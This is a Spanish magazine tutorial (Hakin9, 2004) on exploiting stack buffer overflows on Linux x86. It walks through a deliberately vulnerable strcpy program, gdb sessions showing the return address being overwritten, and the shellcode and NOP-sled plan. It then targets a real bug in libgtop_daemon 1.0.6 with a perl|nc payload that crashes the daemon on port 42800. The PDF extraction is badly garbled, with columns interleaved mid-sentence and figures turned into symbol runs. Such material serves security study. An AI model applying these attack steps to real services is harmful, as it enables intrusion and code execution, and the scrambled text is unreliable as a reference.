Você está na página 1de 18

Desbordamiento de la pila en

Linux x86
Piotr Sobolewski

Artículo publicado en el número 4/2004 de la revista Hakin9


Todos los derechos protegidos. Distribución gratuita admitida
bajo la condición de guardar la forma y el contenido actuales del artículo.
Revista Hakin9, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, hakin9@hakin9.org
Desbordamiento de la
pila en Linux x86
Piotr Sobolewski

Es posible que incluso


programas muy sencillos,
que a primera vista parezcan
correctos, contengan errores
que pueden ser utilizados
para la ejecución de un código
arbitrario. Basta con que el
programa coloque datos en un
array sin verificar previamente
su longitud.

E
l desbordamiento de pila es uno de uno que marca el fin de la función, y otro
los trucos más viejos que existen para que indica el final del programa. Después
tomar el control sobre un programa de imprimir estos comunicados, el programa
vulnerable. Aunque esta técnica es conocida termina.
desde hace mucho tiempo, los programadores Tratemos ahora de tirar de la soga por lo
siguen cometiendo errores que permiten a los más delgado. El array buf sólo puede contener
intrusos utilizarla. Observaremos en detalle en diez caracteres (char buf[10]), pero la secuen-
qué consiste la aplicación de esta técnica para cia de caracteres colocada en ella puede tener
el desbordamiento de un buffer en la pila. cualquier tamaño. Ejemplo:
Comencemos con el programa presentado
en el Listado 1: stack_1.c. Su funcionamiento $ ./stack_1 \
es simple: la función fn recibe como argumento AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
una secuencia de caracteres char *a y crea una
copia de su contenido en el array char buf[10].
En este artículo aprenderás...
Primeros pasos

Esta función es llamada en la primera línea del


programa (fn(argv[1])); el primer argumento
• en qué consiste la técnica de desbordamiento
de la línea de comandos (argv[1]) se entrega
de pila (stack overflow),
como argumento a la función fn. Compilemos y • cómo reconocer si un programa es susceptible
ejecutemos el programa: a este tipo de ataques,
• cómo hacer que un programa vulnerable ejecu-
$ gcc -o stack_1 stack_1.c te nuestro código.
$ ./stack_1 AAAA
Lo que deberías saber...
El programa comienza con la ejecución de • conocimientos básicos del lenguaje C,
la función fn. Ésta recibe como argumento la • principios elementales de trabajo en el sistema
secuencia AAAA , que es copiada al array buf, Linux (línea de comandos).
después de lo cual aparecen dos mensajes:

2 www.hakin9.org Hakin9 N o 4/2004


Desbordamiento de la pila en Linux

Listado 1. stack_1.c – ejemplo


de programa
37 89 89
void fn(char *a) {
push push 89 pop
char buf[10];
strcpy(buf, a);
37 37
printf("fin de la función fn\n"); 37
}
24 24 24 24
main (int argc, char *argv[]) {
254 254 254 254
fn(argv[1]);
printf("fin\n");
31 31 31 31
}

173 173 173 173


El programa lanzado de esta manera
tratará de colocar treinta caracteres pila pila pila pila

en un array en el que no hay lugar


más que para diez, luego de lo que Figura 1. Las operaciones básicas sobre la pila consisten en insertar y
se detendrá con el mensaje de error extraer los números de la cima de pila. En la situación representada en la
segmentation fault. Notemos que no figura, primero insertamos (ing. push) el valor 37 en la pila (se lo coloca en
la cima), y más tarde insertamos el valor 89. Cuando después extraemos
(ing. pop) un valor de la pila, se trata justamente del último número
Algunos conceptos insertado, es decir del valor 89. Para acceder al número 37 tendríamos que
importantes repetir la operación de desapilar el valor
• Bugtraq – popular lista de discusión aparece ningún mensaje que diga el neo. El programa sin ninguna dificul-
en la que se publican informaciones
array buf es demasiado pequeño, tad escribió la secuencia de treinta
acerca de los más recientemente
sino que el programa muestra in- bytes en el array de diez caracteres,
descubiertos errores de seguridad
en programas y sistemas infor-
formación acerca de una violación utilizando 20 bytes de memoria loca-
máticos. Los archivos de Bugtraq del segmento. Esto significa que el lizada fuera de la zona ocupada por
son libremente accesibles a través programa de hecho intentó obtener el array buf[10]. El error del que trata-
de Internet y se los puede encon- acceso (escribir o leer) a la memoria ba el mensaje segmentation fault se
trar en la dirección http://www. a la que no tenía derecho. produjo mucho después, a causa del
securityfocus.com/ Se podría pensar que el progra- deterioro de la memoria provocado
• nop – en el lenguaje ensamblador ma colocó las primeras diez letras por la alteración de estos 20 bytes.
de la mayoría de los microproce- A en el array, después de lo cual Antes de enterarnos de todo lo
sadores existe una instrucción detectó el intento de escribir fuera que pasa entre el momento en que
que no realiza ninguna acción: la
de la zona autorizada, lo que le hizo se modifican esos veinte bytes de
instrucción nop. Podría pensarse
levantar la alarma. Nada más erró- memoria y la aparición del comu-
que la existencia de tal instrucción
no tiene mucho sentido pero, como
vemos en el artículo, a veces resul-
ta sumamente útil.
• Depurador – herramienta para la �������������������������������������
����������������������������������
ejecución controlada de progra-
mas. Los depuradores permiten ��
�����������������
������������������������
����������
�������������������������

detener en cualquier punto y lue-


�����������

go continuar la ejecución de un ��
programa, ejecutarlo paso a paso,
verificar y modificar el valor de sus ���
variables internas, examinar el con-
tenido de la memoria, los registros ��

del procesador, etc.


��� ���������������
• Violación de segmento – error que
ocurre cuando un programa trata
de realizar operaciones de lectura
o escritura en un área de la memo-
ria al cual no tiene acceso. Figura 2. En el caso de Linux en la plataforma x86 la pila crece hacia abajo
(aclaraciones en el texto)

Hakin9 N o 4/2004 www.hakin9.org 3


Listado 2. Llamada de la Listado 3. stack_2.c – listado Listado 4. Versión
función – listado para la para la Figura 4 modificada del programa
Figura 3 del Listado 3, observaremos
void fn(int arg1, int arg2) {
el funcionamiento de este
main () { int x;
int y; programa con ayuda del
int a;
int b; printf("estamos en fn\n"); depurador
fn(); }
void fn(int arg1, int arg2) {
}
main () { int x;
int a; int y;
void fn() {
int b; x=3; y=4;
int x;
fn(a, b); printf("estamos en fn\n");
int y;
} }
printf("estamos en fn\n");
}
main () {
rán en su cima), podemos igualmente int a;
nicado de violación del segmento, extraer los datos de la cima de la pila. int b;
a=1; b=2;
debemos recordar cierta información Las operaciones básicas sobre la pila
fn(a, b);
fundamental. se muestran en la Figura 1. }
En la práctica, los programas
¿Qué debemos saber utilizan la pila para almacenar va-
sobre la pila? riables locales. Es importante que el registro %esp y el puntero de marco
El sistema operativo asigna a cada programa que esté utilizando la pila en el %ebp.
programa ejecutado un fragmento conozca dos direcciones esenciales. Otro aspecto característico de
de memoria. Este fragmento se com- La primera es la de la cima de la pila: la plataforma analizada es el hecho
pone de varias secciones; en una de es necesario conocerla para saber de que la pila crece hacia abajo.
ellas se colocan las librerías dinámi- dónde se puede colocar el valor a Esto significa que la cima de la pila
cas, en otra el código del programa, insertar. La otra dirección importan- corresponde a la celda de memoria
y en otra más se encuentran sus te es el puntero de marco de pila, o de la dirección más baja (véase la Fi-
datos. La sección que nos interesa sea, el inicio de la zona que contiene gura 2). Los valores sucesivamente
especialmente es la pila. las variables locales de la función insertados en la pila obtienen direc-
La pila es una estructura que sirve actualmente ejecutada. En el caso ciones cada vez más bajas.
para almacenar temporalmente los que estamos examinando (Linux en
datos. Podemos insertar datos en la la plataforma x86), la dirección de la ¿Qué pasa en la pila durante
pila (en este caso los datos se coloca- cima de la pila la almacenamos en el la llamada de una función?
Al llamar una función, en la pila pa-
san cosas muy interesantes. Como
��������� ��������� la función que acabamos de llamar
�������� ��������
�������� �������� tiene sus propias variables locales, y
������� ������� las variables locales anteriores (que
� �
����������� ����������� pertenecen a la función que la llama)
�������� �������� no pueden ser borradas de la pila
�������� ��������
���������������������������� ���������������������������� (pues serán necesarias después de
� � que la función llamada regrese), el
Primeros pasos

registro %ebp (puntero de marco) de-


be ahora apuntar al lugar en el que
se encuentra la cima de la pila en el
����������������
����� momento de la llamada; a partir de
�����
este lugar en la pila se insertarán las
����� ��������������� ����� ���������������� nuevas variables locales. La Figura 3
presenta de manera más detallada
�����
todo lo que pasa durante la ejecu-
����� ��������������� ción del código del Listado 2.
En la parte izquierda de la ilus-
tración, que representa el estado de
la pila justo antes de que la función
Figura 3. Variables locales en la pila (simplificada) – ilustración del Listado 2 main() termine, en la pila se colocan

4 www.hakin9.org Hakin9 N o 4/2004


Desbordamiento de la pila en Linux

dos variables locales, int a e int b.


El puntero de marco (registro %ebp) �
apunta al inicio de la zona ocupada �����������������������������
��������
por las variables locales de la fun- �����
��������
ción main() y la cima indica el límite ����� ����������������������������

de esta zona. Luego de la ejecución
de la función fn() (parte derecha del ��������
��������
esquema), después de la zona de ��������
variables locales de la función main() �����������

se encuentra el lugar donde han sido
almacenadas las variables locales
de la función fn(). El principio del �
�����������������������������
marco está ahora al inicio de la zona ��������
�����
de variables de la función fn() y la ��������
����� ����������������������������
cima: en su final. Sin embargo, esta �
es una descripción bastante simplifi- ��������������
��������
cada; en realidad durante la llamada �������������� ��������
de una función pasan más cosas. ��������
�����������
Cuando la función fn() termina, �
el control debe regresar a la función
main(). Para que esto sea posible, an-
tes de lanzar la función fn(), la direc- �
ción del salto de vuelta de la función ����� �����������������������������
��������
fn() hacia la función main() debe guar- ����� ��������
darse. Después de la vuelta a main(), ��������������
����������������������������

el programa debe seguir funcionando ��������������
como si la ejecución de main() nunca �������������������
��������
��������
hubiese sido interrumpida: la pila ��������
debe entonces retomar el estado an- �����������

terior a la ejecución de la función fn().
Para ello, además de la dirección de
vuelta, debe guardarse también la �

dirección de inicio del marco. En el �����������������������������


��������
�����
ejemplo citado, la función fn() no re- ��������
�����
cibe ningún argumento. En el caso del ����������������������������

programa stack_2.c, cuyas fuentes se ��������������
encuentran en el Listado 3, la función ��������������� ��������
��������
fn() recibe como argumentos dos ������������������� ��������
números naturales. En el momento en �������������������
�����������

que fn() es ejecutada desde main(), �������������������
estos argumentos deben transmitirse
de alguna manera.
Todos los valores mencionados �
�����
(la dirección de vuelta de la función,
�����
la dirección del inicio anterior del �����������������������������
��������
marco y los argumentos) los almace- �������������� ��������
namos en la pila. En la Figura 4 po- ��������������� ����������������������������

demos observar lo que pasa cuando �������������������
main() llama a fn(). �������������������
��������
��������
La primera parte de la figura ������������������� ��������
muestra la situación que se produce ����� �����������

cuando el programa ejecutado llega �����
a la línea int b (en el esquema esta
línea del código ha sido señalada con
una flecha). Puede verse que en la Figura 4. Operaciones sobre la pila durante la llamada de la función
pila son insertadas las dos variables – esquema para el Listado 2 (aclaraciones en el texto)

Hakin9 N o 4/2004 www.hakin9.org 5


dirección a la que hay que volver una
Listado 5. Sesión del depurador gdb – observamos el contenido de la vez finalizada la función fn(). Esta
pila durante la ejecución del programa del Listado 3 dirección corresponde a la de la ins-
$ gcc stack_2.c -o stack_2 -ggdb trucción en main() inmediatamente
$ gdb stack_2 posterior a fn(a, b).
GNU gdb 6.0-debian A continuación, se realiza el salto
(...) al inicio de la función fn(); pasamos
(gdb) list
a la cuarta parte del esquema. En
2 int x;
3 int y; la pila se inserta el valor actual de
4 x=3; y=4; inicio del marco, y la cima actual se
5 printf("estamos en fn\n"); convierte en el nuevo puntero de
6 } marco (es decir, el lugar a partir del
7
cual se encontrarán las variables lo-
8 main () {
9 int a; cales de la función fn()). Después de
10 int b; todo esto (véase la quinta parte del
11 a=1; b=2; esquema), las variables locales de la
(gdb) break 5 función fn(), o sea, int x e int y, se
Breakpoint 1 at 0x8048378: file stack_2.c, line 5.
insertan en la pila y la ejecución de la
(gdb) run
Starting program: /home/piotr/nada/pila/stack_2 función fn() continúa.
Breakpoint 1, fn (arg1=1, arg2=2) at stack_2.c:5
5 printf("estamos en fn\n"); En directo
(gdb) print $esp Para comprobar si en efecto durante
$1 = (void *) 0xbffff9f0
la ejecución del programa real la pila
(gdb) x/24 $esp
0xbffff9f0: 0x080483c0 0x080495d8 0xbffffa08 0x08048265 se presenta tal como la hemos des-
0xbffffa00: 0x00000004 0x00000003 0xbffffa28 0x080483b6 crito más arriba, ejecutaremos una
0xbffffa10: 0x00000001 0x00000002 0xbffffa74 0x40155630 versión modificada del programa del
0xbffffa20: 0x00000002 0x00000001 0xbffffa48 0x4003bdc6 Listado 3 (mostrada en el Listado 4;
0xbffffa30: 0x00000001 0xbffffa74 0xbffffa7c 0x40016c20
la modificación consiste en agregar
0xbffffa40: 0x00000001 0x080482a0 0x00000000 0x080482c1
(gdb) disas main dos líneas que definen los valores de
Dump of assembler code for function main: las variables a, b, x e y para poder
0x08048386 <main+0>: push %ebp más fácilmente encontrar el lugar
0x08048387 <main+1>: mov %esp,%ebp en la pila donde están almacenadas
0x08048389 <main+3>: sub $0x18,%esp
estas variables). Examinemos el
0x0804838c <main+6>: and $0xfffffff0,%esp
0x0804838f <main+9>: mov $0x0,%eax programa con ayuda del depurador
0x08048394 <main+14>: sub %eax,%esp gdb (el Listado 5 muestra la sesión
0x08048396 <main+16>: movl $0x1,0xfffffffc(%ebp) de depuración).
0x0804839d <main+23>: movl $0x2,0xfffffff8(%ebp) Empecemos por compilar el pro-
0x080483a4 <main+30>: mov 0xfffffff8(%ebp),%eax
grama:
0x080483a7 <main+33>: mov %eax,0x4(%esp,1)
0x080483ab <main+37>: mov 0xfffffffc(%ebp),%eax
0x080483ae <main+40>: mov %eax,(%esp,1) $ gcc stack_2.c -o stack_2 -ggdb
0x080483b1 <main+43>: call 0x8048364 <fn>
0x080483b6 <main+48>: leave Lanzamos el compilador con la
0x080483b7 <main+49>: ret
opción -ggdb para que al programa
End of assembler dump.
Primeros pasos

(gdb) print $ebp+4 se le añade información útil para el


$2 = (void *) 0xbffffa0c depurador. Podemos ahora lanzar el
(gdb) x 0xbffffa0c depurador:
0xbffffa0c: 0x080483b6
(gdb) quit
$ gdb stack_2

locales de la función main(): int a e esta línea ha provocado la inserción Una vez gdb ha sido lanzado, po-
int b. La flecha azul indica el fondo, y en la pila de los argumentos de la demos mirar el listado del programa
la flecha roja – la cima de la pila. función fn(), o sea, de las variables depurado (con el comando list),
La segunda parte de la figura a y b. y después colocar en él un punto
presenta el estado de la pila en el El paso siguiente se muestra en de ruptura, por ejemplo en la cuar-
momento en que se ejecuta la línea la tercera parte del esquema. En ta línea de la función fn(), o sea,
fn(a, b). Vemos que la ejecución de esta etapa, en la pila se inserta la printf("estamos en fn\n");. Para

6 www.hakin9.org Hakin9 N o 4/2004


Desbordamiento de la pila en Linux

poner el punto de ruptura usamos el


comando break número de línea; en Listado 6. Sesión del depurador – buscamos la causa de la violación
nuestro caso: de segmento durante la ejecución del programa del Listado 1

$ gdb stack_1
(gdb) break 5 GNU gdb 6.0-debian
Copyright 2003 Free Software Foundation, Inc.
Ahora podemos lanzar el progra- (...)
(gdb) list
ma (utilizando el comando run).
1 void fn(char *a) {
El programa arranca y se detiene 2 char buf[10];
en el lugar donde hemos puesto 3 strcpy(buf, a);
el breakpoint, o sea, en la quinta 4 printf("fin de la función fn\n");
línea. Procedamos a examinar el 5 }
6
contenido de la pila. En primer lugar
7 main (int argc, char *argv[]) {
necesitaremos la dirección de la ci- 8 fn(argv[1]);
ma de la pila, es decir, el contenido 9 printf("fin\n");
del registro %esp. Basta con lanzar el 10 }
comando: (gdb) break 3
Breakpoint 1 at 0x804839a: file stack_1.c, line 3.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) print $esp Starting program: /home/piotr/pila/stack_1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, fn (a=0xbffffb84 'A' <repeats 30 times>) at stack_1.c:3
Conociendo la dirección de la cima 3 strcpy(buf, a);
de la pila, podemos observar el con- (gdb) print &buf
$1 = (char (*)[10]) 0xbffff9e0
tenido de la memoria, empezando
(gdb) print $ebp+4
por esta dirección. Veamos por $2 = (void *) 0xbffff9fc
ejemplo las primeras 24 palabras de (gdb) x 0xbffff9fc
4 bytes: 0xbffff9fc: 0x080483da
(gdb) next
4 printf("fin de la función fn\n");
(gdb) x/24 $esp
(gdb) x $ebp+4
0xbffff9fc: 0x08004141
El resultado de este comando se
muestra en el Listado 5. Vemos que
al inicio de la pila (mirando desde la Fijémonos que, para encontrar la Análisis del programa
cima hacia el puntero de marco) se dirección de vuelta de la función, no Ahora que ya sabemos qué es lo que
encuentran 16 bytes (el tamaño de la tenemos que examinar la pila entera, está pasando en la pila durante la eje-
pila ha sido redondeado). Después empezando por su cima y anali- cución del programa, podemos volver
vienen 2 palabras de 4 bytes, de zando cada variable local colocada a examinar el programa stack_1.c
contenido 0x00000004 y 0x00000003: sobre ella. Basta con verificar cuál (Listado 1). Como recordaremos,
estas son las variables x e y. Más allá es el contenido del registro %ebp, y este programa terminaba con errores
se encuentra (véase la quinta parte sumarle cuatro: cuando le hacíamos colocar una serie
de la Figura 3) la dirección del fondo de 30 bytes en un array para 10. Tra-
de la pila y la dirección de vuelta de (gdb) print $ebp+4 temos de lanzarlo desde el depurador
la función (en el caso mostrado en el y veremos lo que pasa entre el mo-
Listado 5, ésta es 0x080483b6). Com- Como podemos ver en la Figura 4 mento en que se escriben los 20 bytes
probemos si la dirección de vuelta (quinta parte), el registro %ebp de memoria fuera de el array buf[10] y
de la función realmente apunta a la apunta a la dirección del fondo an- la terminación del programa con el co-
función main(). Para ello desensam- terior, almacenada en la pila. Esta municado de violación de segmento.
blemos la función main(): dirección ocupa 4 bytes, así que Comencemos compilando el pro-
después de la dirección siguiente grama con las informaciones para el
(gdb) disas main más 4 bytes (recordemos que la pi- depurador:
la crece hacia abajo) está colocada
Se ve que (Listado 5) la dirección la dirección de vuelta de la función. $ gcc stack_1.c -o stack_1 -ggdb
0x080483b6, es decir la dirección de Lo podemos comprobar dando la
vuelta de la función fn(), realmente orden: Ahora tratemos de provocar un error
se halla en en interior de main(), justo de manera controlada. Para ello,
después de la instrucción que llama (gdb) x 0xbffffa0c después de lanzar el depurador y
la función fn(). 0x080483b6 poner el punto de ruptura en la ter-

Hakin9 N o 4/2004 www.hakin9.org 7


Ahora ordenemos al depurador eje- nemos sobre los problemas que
��������� cutar la siguiente línea de código podemos encontrar. En primer lugar:

���������
��������������

��������������
������������� (que coloca en el array una secuen- ¿de dónde podemos sacar un buen
������
cia de 30 caracteres): shellcode? Debe ser breve (para que
����������������� quepa en el buffer) y no puede con-
���������
(gdb) next tener bytes cero (en caso contrario
���������

��������� ���
no podríamos colocarlo dentro de la
Veamos cuál es ahora la dirección secuencia a entregar al programa,
de vuelta de la función: ya que el byte cero sería interpreta-
����� do como terminador de la cadena). A
(gdb) x $ebp+4 pesar de las apariencias, escribir un
0xbffff9fc: 0x08004141 shellcode no es nada difícil, existen
Figura 5. Construcción de la
varias publicaciones que enseñan
secuencia que permite desbordar el
Podemos ver que los 2 bytes menos a crear shellcodes para diferentes
buffer en la pila y ejecutar nuestro
significativos de la dirección han sido sistemas operativos y están disponi-
propio código (primera y segunda
reemplazados por el valor 0x4141. En bles en la Red, e incluso en nuestra
idea)
hexadecimal, 0x41 equivale (como revista. Nosotros dejaremos para
cera línea del programa (o sea, en podemos comprobar en man ascii) otra ocasión la creación de nuestro
la línea crítica strcpy(buf, a);) arran- a la letra A. propio shellcode y nos contentare-
camos el programa, dándole como La conclusión es sencilla. Pues- mos con utilizar uno ya listo de los
argumento una serie de 30 letras A to que, entregando al programa varios que pueden ser fácilmente
(la transcripción completa de la se- una serie de caracteres demasiado encontrados en la Red.
sión del depurador se encuentra en larga, hemos logrado alterar la di- ¿Cuál debe ser la longitud de la
el Listado 6). rección de vuelta de la función, una secuencia para que ésta modifique
cadena alfanumérica lo suficiente la dirección de vuelta de la función?
(gdb) run \ inteligentemente construida podría Solucionaremos este problema de
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA modificar esta dirección de tal manera experimental: ejecutaremos
manera que, terminada la función, repetidamente el programa vulne-
El programa se detiene en el punto el control pase a cualquier punto rable dándole como argumento una
de ruptura, es decir, en la tercera de la memoria que elijamos. Esta secuencia cada vez más larga. Toma-
línea. Verifiquemos cuál es la direc- dirección puede muy bien ser la de remos nota de cuál es la longitud que
ción de el array buf[]: un fragmento de código colocado produce la violación de segmento, y
por nosotros mismos en la memo- para nuestro ataque utilizaremos una
(gdb) print &buf ria. Este código podría hacer algo secuencia un poco más larga, por si
$1 = (char (*)[10]) 0xbffff9e0 que nunca haría voluntariamente el acaso. Al escribir encima del frag-
administrador del sistema atacado: mento de la pila localizado después
y la dirección de vuelta de la fun- concedernos privilegios de root o de la dirección de vuelta, destruire-
ción: abrir una shell en uno de los puer- mos los valores de algunas de las
tos. Para poder colocarlo en la me- variables locales de la función que
(gdb) print $ebp+4 moria, el código debe formar parte ha llamado a la nuestra (no importa,
$2 = (void *) 0xbffff9fc de la secuencia que entregamos igual no planeamos regresar a ella).
como argumento al programa. ¿Cuál será entonces la dirección
Vemos que el inicio del array y la Nuestro código (véase la Figura 5, que reemplazará la dirección de
Primeros pasos

dirección de vuelta de la función es- columna izquierda) debe componerse vuelta de la función? En la Figura
tán separados por sólo 28 bytes. De de dos partes: una que contenga el 5 vemos simplemente dirección
manera que no es de extrañar que, código (en lenguaje de máquina) que del shellcode, pero ¿como pode-
al colocar allí una secuencia de 30 nos permitirá realizar algún objetivo mos saber cual será la dirección
caracteres, el final de ésta se solape malicioso (es lo que se llama un she- en la que el programa vulnerable
con la dirección de vuelta de la fun- llcode). La segunda parte contiene la colocará la secuencia que le entre-
ción. Verifiquemos si en realidad es dirección de la primera y modifica la guemos? Llegaremos a la solución
así: veamos cuál es la dirección de dirección de vuelta de la función, de de este problema de dos lados a
vuelta de la función antes de copiar manera que cuando se termine la la vez. Por una parte, trataremos
el elemento a al array buf: función atacada se ejecute el código de ejecutar el programa vulnerable
maligno de la primera parte. dentro del depurador, verificando en
(gdb) x 0xbffff9fc Antes de hacer uso práctico de qué lugar de la memoria fue colo-
0xbffff9fc: 0x080483da nuestros conocimientos, reflexio- cado nuestro argumento; por otra,

8 www.hakin9.org Hakin9 N o 4/2004


Desbordamiento de la pila en Linux

al principio de la secuencia que


estamos construyendo, antes del Listado 7. Función permitted(), fragmento del fichero /src/daemon/
shellcode colocaremos una serie de gnuserv.c en las fuentes del programa libgtop
comandos nop que no hacen nada static int permitted (u_long host_addr, int fd)
(Figura 5, parte derecha). Gracias {
a ello, incluso si no caemos exac- int i;
tamente al inicio del shellcode, no char auth_protocol[128];
char buf[1024];
pasará nada, a lo sumo saltaremos
int auth_data_len;
unas cuantas nop, después lo cual
se ejecutará el shellcode. Aquí una /* Read auth protocol name */
pequena observación: la distancia if (timed_read (fd, auth_protocol, AUTH_NAMESZ, AUTH_TIMEOUT, 1) <= 0)
entre el inicio del array buf[] y la return FALSE;
(...)
dirección de retorno de la función
if (!strcmp (auth_protocol, MCOOKIE_NAME)) {
no cambiará si ejecutamos el mis- if (timed_read (fd, buf, 10, AUTH_TIMEOUT, 1) <= 0)
mo programa en otro ordenador. return FALSE;
En principio bastaría con colocar la auth_data_len = atoi (buf);
dirección repetida sólo una vez en if (
timed_read (fd, buf, auth_data_len, AUTH_TIMEOUT, 0) != auth_data_len)
la secuencia que suministramos al
return FALSE;
programa agujereado, pero la lon-
gitud de la secuencia la debemos
ajustar de forma que llegue direc-
���
tamente a dónde queremos que
llegue. Sin embargo, en la práctica
es mejor que el bloque de nop tenga
el tamano mayor que cuatro bytes. ����������������������������������
Observemos que si el shellcode ���������������������������

acumula en la pila algunos valores,


éstos pueden sobreescribir el final
de la secuencia suministrada por
nosotros. Si no hay allí un bloque ��
de nop suficientemente largo, pode- ��������������� ����������������������������������
������������� �������������������������������
mos estropear el shellcode.

Iniciamos la ofensiva
Ahora que nuestro plan está listo,
��
podemos intentar un ataque al pro- ����������������������������������
�����������������������
grama vulnerable del Listado 1. Pero
�������������������
¿para qué atacar un programa escri-
to por nosotros mismos, con un agu-
jero de seguridad puesto adrede?
Puesto que sabemos ya (al menos
��� ���
en teoría) cómo hacerlo, tratemos de
explotar una vulnerabilidad de estas
en un programa real. Figura 6. Fragmento de la función permitted() (ilustración del listado 7)
Revisando los archivos de bug-
traq podemos encontrar un programa libgtop _daemon). Nuestro ataque hacer que el programa vulnerable
vulnerable al ataque. En uno de los consistirá en enviar al ordenador, ejecute nuestro código.
anuncios encontramos información donde está funcionando el servidor,
sobre un error en la versión 1.0.6 datos especialmente preparados, ¿En qué consiste el error en el
de la librería libgtop, el cual permite los cuales provocarán un desborda- libgtop_daemon?
saturar el buffer en la pila. libgtop es miento de buffer y la ejecución del Las fuentes de la versión vulnerable
una librería que recoge información código entregado por nosotros. Más del programa están en el CD que
diagnóstica sobre el sistema. La tarde nos ocuparemos de los deta- acompaña el presente número de la
librería funciona en una arquitec- lles del ataque: veamos ahora de revista. Veamos el Listado 7, el cual
tura cliente-servidor y el error fue cerca cuál es el error detectado en presenta la definición de la función
detectado en el servidor (programa libgtop _daemon y cómo podemos permitted(), que se encuentra en el

Hakin9 N o 4/2004 www.hakin9.org 9


fichero src/daemon/gnuserv.c. Al
analizar el código, podremos notar Listado 8. Función timed _ read(), fragmento del fichero src/daemon/
frecuentes llamadas a la función gnuserv en las fuentes del programa libgtop
timed _ read() (definida en el mismo static int timed_read (int fd, char *buf, int max, int timeout, int one_line)
fichero). Esta función lee del fichero {
(cuyo manipulador se le entrega como (...)
primer argumento) al buffer (segundo char c = 0;
int nbytes = 0;
argumento) el número de caracteres
(...)
definido por el tercer argumento. do {
Ya que sabemos cuál es el papel de r = select (fd + 1, &rmask, NULL, NULL, &tv);
la función timed _ read(), examinemos if (r > 0) {
más de cerca la función permitted(). if (read (fd, &c, 1) == 1) {
*buf++ = c;
Miremos la siguiente línea:
++nbytes;
(...)
if (timed_read (fd, buf, } while ((nbytes < max) && !(one_line && (c == '\n')));
auth_data_len, AUTH_TIMEOUT, (...)
0) != auth_data_len) return nbytes;
}

Esta línea pasa del fichero fd al buffer


buf un máximo de auth _ data _ len ca-
racteres. En caso de que auth _ data _
len sea mayor que el tamaño del array ������
buf[] (el cual, como podemos ver en el
Listado 7, es de 1024 bytes), en éste se
introducirán demasiados caracteres,
����������������������������
con lo que el buffer se verá saturado y, ����������������ácter.
con un poco de suerte, la dirección de
vuelta de la función permitted() será
reemplazada. Veamos de dónde viene
la variable auth _ data _ len. Un par de ��
����������������������
líneas antes podemos notar cómo del ����������������������
fichero fd se leen 10 caracteres, los ������
cuales se interpretan como un núme-
ro entero y se asignan a la variable ������������������
�� ��
auth _ data _ len: ��������
����������������

auth_data_len = atoi (buf)

Así pues, si la fuente de la que ���


provienen los datos contiene la se-
cuencia:
Figura 7. Función timed _ read() (simplificada); ilustración del Listado 8
2000
Primeros pasos

AAAA... (2.000 letras A) donde el contenido de la variable MAGIC-1


auth _ protocol también se lo toma del 2000
al array buf[] se introducirá la se- fichero fd. Podemos fácilmente com- AAAA... (2.000 letras A)
cuencia entera, compuesta por probar que el símbolo MCOOKIE _ NAME
2.000 letras A, con lo que ocurrirá el ha sido definido en el fichero include/ Ahora podemos examinar las fuen-
desbordamiento del buffer. glibtop/gnuserv.h como MAGIC-1: tes de libgtop para averiguar en qué
Volvamos a un par de líneas atrás. circunstancias se ejecuta la función
Vemos que, para que pueda ejecutar- #define MCOOKIE_NAME "MAGIC-1" permitted() y de dónde toma los da-
se el fragmento que hemos analizado, tos que utiliza. Un breve análisis nos
debe cumplirse la condición: Para concluir: si queremos desbordar permite constatar que si lanzamos
el buffer buf[], la fuente de los datos el libgtop _daemon (de preferencia
if (!strcmp (auth_protocol, leídos por la función permitted() de- con la opción -f, gracias a la cual
MCOOKIE_NAME)) be incluir la secuencia: el programa no pasará al segundo

10 www.hakin9.org Hakin9 N o 4/2004


Desbordamiento de la pila en Linux

plano después del arranque), éste no sería una solución muy cómoda, $ perl -e \
abrirá y comenzará a escuchar a pues para cambiar la cantidad de 'print "MAGIC-1\n1500\n"."A"x1500' \
través del puerto 42800. Podemos símbolos imprimidos tendríamos | nc 127.0.0.1 42800
entonces (usando, por ejemplo, que modificar el fichero. Otra posible
netcat) enviar a este puerto la se- solución, que nos asegura el mismo Nota: es evidente que después de
cuencia que hemos mencionado, y efecto, consiste en ejecutar el si- cada prueba tendremos que volver
así provocar el desbordamiento del guiente comando: a lanzar el libgtop _daemon. Puede
buffer en la pila. ocurrir que durante alguno de los
$ perl -e 'print "A"x2000' relanzamientos sucesivos se nos
Susceptibilidad de muestre el siguiente comunicado:
libgtop_daemon a Cuando se lanza el intérprete de
desbordamientos de Perl con la opción -e, éste ejecuta bind: Address already in use
las instrucciones que se le suminis-
buffer tran como argumento, de tal manera En tales casos lo más sencillo es
Comprobemos que libgtop _dae- que basta con un comando como el esperar un minuto y volver a intenatr
mon es verdaderamente vulnerable siguiente para imprimir la cadena al- lanzar el programa.
a errores de desbordamiento de bu- fanumérica entera que provocará el Después de unas cuantas prue-
ffer. Para ello debemos compilar el desbordamiento del buffer: bas, llegaremos a la conclusión de
código fuente de libgtop que encon- que la secuencia más corta que oca-
traremos en el CD que acompaña $ perl -e \ siona una violación de segmento es
a la presente revista, haciendo uso 'print "MAGIC-1\n2000\n"."A"x2000' la que contiene 1.178 letras A. Supo-
de los siguientes comandos: nemos que esta secuencia no altera
Ejecutemos este comando conectan- la dirección de retorno de la función,
$ ./configure do su salida a la entrada de netcat: pues antes de ésta se encuentra la
$ make dirección del fondo anterior de la pila,
$ perl -e \ cuya modificación también desesta-
Pasemos ahora al directorio src/ 'print "MAGIC-1\n2000\n"."A"x2000' \ biliza el funcionamiento del programa
daemon y ejecutemos el comando: | nc 127.0.0.1 42800 (véase la Figura 4, parte 5). Aseguré-
monos de que realmente es así.
$ ./libgtop_daemon -f Si miramos ahora la consola en la
que fue lanzado el libgtop _daemon, libgtop_daemon
que hará que libgtop _daemon sea veremos que el programa se ha de- en el depurador
lanzado y comience a escuchar en tenido con un comunicado de viola- Para lanzar el libgtop_daemon desde
el puerto 42800. Lancemos ahora ción de segmento. el depurador, debemos primero re-
otra consola y enviemos desde ella compilar el programa incluyendo los
al puerto 42800 del sistema local ¿Cuántas gotas datos de depuración, lo que se hace
una cadena alfanumérica que sature rebosan el vaso? lanzando el compilador (gcc) con la op-
el buffer. Puesto que sería incómodo Puesto que nuestro objetivo es ción -ggdb. Lo haremos de modo poco
escribir a mano una cadena de 2.000 cambiar la dirección de vuelta de elegante pero bastante más fácil.
